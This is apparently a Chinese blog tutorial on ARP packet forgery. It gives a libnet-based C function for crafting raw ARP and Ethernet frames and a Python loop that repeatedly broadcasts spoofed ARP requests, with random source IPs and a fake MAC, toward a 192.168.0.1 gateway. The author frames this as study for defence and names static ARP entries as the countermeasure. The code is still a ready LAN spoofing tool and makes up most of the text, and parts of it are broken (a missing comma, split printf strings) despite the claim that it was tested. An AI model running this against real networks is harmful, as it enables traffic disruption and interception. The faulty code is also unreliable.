ARP数据包伪造

  一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件亦是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。 

  网络系统功与防的矛盾斗争，可以使得我们更加快速的发现并修补系统漏洞，而且这种矛盾关系必然存在。

  人外有人，天外有天。

  攻的最高境界便是不战，是和平。

  静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

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  ARP : Address Resolution Protocol,地址解析协议，其基本功能为通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。它是IPv4中网络层必不可少的协议，不过在IPv6中已不再适用，并被邻居发现协议（NDP）所替代。

——维基百科

  基础资料推荐：《TCP-IP详解 卷1：协议》《ARP协议简介》 

  需要注意，书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用，试想，一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目，这是多么大的系统漏洞？一轮ARP伪造报文的攻击，便能使这个局域网主机之间的通讯陷入瘫痪。所以，现代操作系统采取了更加保守的arp缓存更新规则，上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。

  一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件也是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。

  操作系统与硬件具有构造数据包的能力，当操作系统把这种能力以系统调用的方式提供给编程者时，则，编程者亦拥有了构造任意数据包的能力。

  而Libnet又对这些系统调用进行了又一次的逻辑封装，将这些能力以更加容易使用的方式展露出来，以加快应用程序的开发速度。

  实验环境为GNU/Linux，以太网，主机应已安装libnet。

ForgeArp.c

//// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
                         char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
                        )
{
        libnet_t *net_t = NULL; 
        unsigned long src_ip,dst_ip = 0;        
        char err_buf[LIBNET_ERRBUF_SIZE];
        libnet_ptag_t p_tag; 
        unsigned int i=0;
        src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
        if (src_ip==-1)
            {
            printf("error: libnet_name2addr4 src_ip 
");
            return 1;
            }
        dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);
        if (dst_ip==-1)
            {
            printf("error: libnet_name2addr4 dst_ip 
");
            return 1;
            }

        printf("the src_ip_str is %s,uint32 src_ip is %d
",src_ip_str,src_ip);
        printf("the dst_ip_str is %s,uint32 dst_ip is %d
",dst_ip_str,dst_ip);
        
        net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
        if(net_t == NULL)
        {
                printf("libnet_init error
");
                return 2;
        }

        p_tag = libnet_build_arp(
                        ARPHRD_ETHER,//hardware type ethernet
                        ETHERTYPE_IP,//protocol type
                        MAC_ADDR_LEN,//mac length
                        IP_ADDR_LEN,//protocol length
                        arpOp,//op type
                        (u_int8_t *)src_mac,//source mac addr
                        (u_int8_t *)&src_ip,//source ip addr
                        (u_int8_t *)dst_mac,//dest mac addr
                        (u_int8_t *)&dst_ip,//dest ip  addr
                        NULL,//payload
                        0,//payload length
                        net_t,//libnet context
                        0//0 stands to build a new one
        );
        
        if(-1 == p_tag)
        {
                printf("libnet_build_arp error
");
                libnet_destroy(net_t);
                return 3;
        }

        p_tag = libnet_build_ethernet(//create ethernet header
                        (u_int8_t *)dst_mac,//dest mac addr
                        (u_int8_t *)src_mac,//source mac addr
                        ETHERTYPE_ARP,//protocol type
                        NULL,//payload
                        0,//payload length
                        net_t,//libnet context
                        0//0 to build a new one
        );

        if(-1 == p_tag)
        {
                printf("libnet_build_ethernet error!
");
                libnet_destroy(net_t);
                return 4;
        }
        
        int res;
        i=0;
        for(;i<sendTimes;i++)
          if(-1 == (res = libnet_write(net_t)))
          {
                printf("libnet_write error!
");
                libnet_destroy(net_t);
                return 5;
          }
        
        libnet_destroy(net_t);
        return 0;
FAIL:        
        libnet_destroy(net_t);
                return 6;
}

  我们已经将ForgeArp功能编译成了shared object，接下来Python入场。

forgeArpTest.py

"""
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
            char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
           )
"""
import time
import random
from ctypes import *
arpLib=CDLL('./ForgeArp.so')

def MacTran(macStr):
    MacType= c_ubyte * 6
    macStr=macStr.translate(None,":")
    return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),
                   int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))
while True:
    lis=["192.168.0."]
    lis.append(str(int(random.random()*1000/4)))
    if lis[1]=='36':
        continue
    arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") 
                        ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))
    time.sleep(1)

print ":)"

  关于ForgeAndSendArp函数中arpOp参数的选项如下：

// 源码头文件
libnet-1.2-rc3includelibnetlibnet-headers.h 

// 仅摘部分内容
  uint16_t ar_op;          /* operation type */
#define ARPOP_REQUEST    1  /* req to resolve address */
#define ARPOP_REPLY      2  /* resp to previous request */
#define ARPOP_REVREQUEST 3  /* req protocol address given hardware */
#define ARPOP_REVREPLY   4  /* resp giving protocol address */
#define ARPOP_INVREQUEST 8  /* req to identify peer */
#define ARPOP_INVREPLY   9  /* resp identifying peer */

   代码测试无误。

  静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

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